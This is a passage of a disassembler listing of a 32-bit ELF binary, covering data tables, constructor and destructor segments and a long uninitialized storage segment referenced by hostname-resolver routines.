		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db  14h	;  
		db    6	;  
		db    8	;  
dword_80790BC	dd 806AABCh		; DATA XREF: sub_8062940+4Br
					; sub_8062940+CFr ...
		dd offset unk_806AABC
		dd offset unk_806AABC
		dd offset unk_806AABC
		dd offset unk_806AABC
		dd offset unk_806AABC
dword_80790D4	dd 806AABCh		; DATA XREF: sub_8062C9C+Cr
					; sub_8062C9C+12w ...
unk_80790D8	db    0	;		; DATA XREF: sub_80638B8+10o
					; sub_80638B8+17o
		db    0	;  
		db    0	;  
		db    0	;  
		db    9	;  
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Eh	; ^
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  45h	; E
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db  0Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  11h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  73h	; s
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
unk_8079168	db    0	;		; DATA XREF: sub_8063A74+10o
					; sub_8063A74+17o
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Dh	; =
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
off_80791A8	dd offset sub_8063D20	; DATA XREF: sub_8063B04+1ECo
		dd offset sub_8063FAC
		dd offset sub_8063F60
		dd offset sub_8063F84
		dd offset sub_806402C
		dd offset sub_8063FB4
off_80791C0	dd offset sub_8064438	; DATA XREF: sub_80641C8+D8o
		dd offset sub_80648D0
		dd offset sub_8064884
		dd offset sub_80648A8
		dd offset sub_8064978
		dd offset sub_80648D8
dword_80791D8	dd 5			; DATA XREF: sub_80649E0+37r
dword_80791DC	dd 0			; DATA XREF: sub_80649E0+30r
dword_80791E0	dd 3Ch			; DATA XREF: sub_80649E0+73r
dword_80791E4	dd 0			; DATA XREF: sub_80649E0+6Dr
unk_80791E8	db    0	;		; DATA XREF: sub_8064C48+32o
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db  4Bh	; K
		db    6	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db  4Bh	; K
		db    6	;  
		db    8	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8079220	dd 0			; DATA XREF: sub_8063958+2Dr
					; sub_8063958+42r ...
dword_8079224	dd 0			; DATA XREF: sub_8063958+60r
					; sub_80649E0+A7o
dword_8079228	dd 0			; DATA XREF: sub_8063958+86r
					; sub_8063958+8Fr ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8079230	dd 0			; DATA XREF: sub_8063D20+138r
					; sub_8064438+172r ...
dword_8079234	dd 0			; DATA XREF: sub_8063D20+141r
					; sub_8064438+17Br ...
dword_8079238	dd 0			; DATA XREF: sub_8063D20+14Ar
					; sub_8064438+184r ...
unk_807923C	db    0	;		; DATA XREF: sub_8065120+6Fo
		db    0	;  
		db    0	;  
		db    0	;  
off_8079240	dd offset sub_806543C	; DATA XREF: sub_8065408+12o
		dd offset sub_8065474
		dd offset sub_80654AC
		dd offset sub_80654E8
		dd offset sub_8065524
		dd offset sub_8065538
		dd offset sub_8065568
		dd offset sub_8065434
off_8079260	dd offset sub_8065848	; DATA XREF: sub_8065750+94o
		dd offset sub_80658B4
		dd offset sub_8065910
		dd offset sub_806597C
		dd offset sub_80659EC
		dd offset sub_8065A40
		dd offset sub_8065AB8
		dd offset sub_8065B0C
dword_8079280	dd 0			; DATA XREF: sub_80661E8+13r
					; sub_80661E8+20w ...
off_8079284	dd offset unk_806BBBC	; DATA XREF: .rodata:0806AA10o
dword_8079288	dd 806A9C4h		; DATA XREF: sub_8066BC4+3r
off_807928C	dd offset unk_806BC14	; DATA XREF: .rodata:0806AA18o
off_8079290	dd offset unk_806BBC8	; DATA XREF: .rodata:0806AA14o
off_8079294	dd offset unk_806BC54	; DATA XREF: .rodata:0806AA0Co
off_8079298	dd offset sub_806717C	; DATA XREF: sub_8067094+61o
		dd offset sub_806714C
		dd offset sub_8067184
		dd offset sub_8067190
		dd offset sub_806719C
_data		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
_ctors		segment	dword public 'DATA' use32
		assume cs:_ctors
		;org 80792ACh
dword_80792AC	dd 0FFFFFFFFh		; DATA XREF: sub_80675A8+1o
					; sub_80675A8+6r
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
_ctors		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
_dtors		segment	dword public 'DATA' use32
		assume cs:_dtors
		;org 80792B4h
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
dword_80792B8	dd 0			; DATA XREF: sub_8048110+1o
					; sub_8048110+6r
_dtors		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Uninitialized
_bss		segment	dword public 'BSS' use32
		assume cs:_bss
		;org 80792BCh
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_80792BC	dd ?			; DATA XREF: get_haddr+1Fo
					; get_haddr+29r
unk_80792C0	db    ?	;		; DATA XREF: reorder_addrs+96o
					; reorder_addrs+349o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_80793B0	dd ?			; DATA XREF: reorder_addrs+96w
					; reorder_addrs+DFr ...
unk_80793B4	db    ?	;		; DATA XREF: _gethtbyname+34o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_80797B5	db    ?	;		; DATA XREF: _gethtbyname+3Bo
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
